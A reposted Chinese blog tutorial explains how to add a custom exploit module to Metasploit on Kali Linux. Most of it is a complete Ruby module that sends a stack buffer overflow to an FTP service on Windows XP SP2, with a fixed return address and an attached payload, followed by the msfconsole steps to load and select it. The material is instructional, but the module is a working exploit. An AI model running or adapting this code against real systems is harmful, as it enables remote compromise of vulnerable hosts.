给kali的Metasploit下添加一个新的exploit

转载:https://blog.csdn.net/SilverMagic/article/details/40978081

• 首先在/usr/share/metasploit-framework/modules/exploits/目录下新建一个自定义文件夹，例如fwdtest

• 仿造exploits目录下的其他exp(rb文件)编写自己的exp.rb脚本(这边用0day安全:软件漏洞分析技术里的一个栗子)

1.  
   root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest# ls
2.  
   0day1.rb
3.  
   root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest# cat 0day1.rb
4.  
   ##
5.  
   # This module requires Metasploit: http//metasploit.com/download
6.  
   # Current source: https://github.com/rapid7/metasploit-framework
7.  
   ##
8.  
   require 'msf/core'
9.  
   class Metasploit3 < Msf::Exploit::Remote
10.  
    include Msf::Exploit::Remote::Ftp
11.  
    def initialize(info = {})
12.  
    super(update_info(info,
13.  
    'Name' => 'security test',
14.  
    'Description' => %q{
15.  
    This module exploits a buffer overflow.
16.  
    },
17.  
    'Author' => 'fwd',
18.  
    'License' => MSF_LICENSE,
19.  
    'Privileged' => true,
20.  
    'Payload' =>
21.  
    {
22.  
    'Space' => 300,
23.  
    'BadChars' => "\x00",
24.  
    },
25.  
    'Platform' => 'win',
26.  
    'Targets' =>
27.  
    [
28.  
    [ 'Windows XP Pro SP2 English', { 'Ret' => 0x7c809f83 } ],
29.  
    ]))
30.  
    end
31.  
     
32.  
    def exploit
33.  
    connect
34.  
    attack_buf = 'a'*200
35.  
    attack_buf += [target.ret].pack('V')
36.  
    attack_buf += payload.encoded
37.  
    sock.put(attack_buf)
38.  
    handler
39.  
    disconnect
40.  
    end
41.  
    end
42.  
    root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest#

• 在控制台下启动metasploit

• 在msf提示符下输入reload_all重新加载所有模块

• 在msf提示符下输入use exploit/fwdtest/exp(输入的时候可以用tab补全，如果不能补全说明就有问题)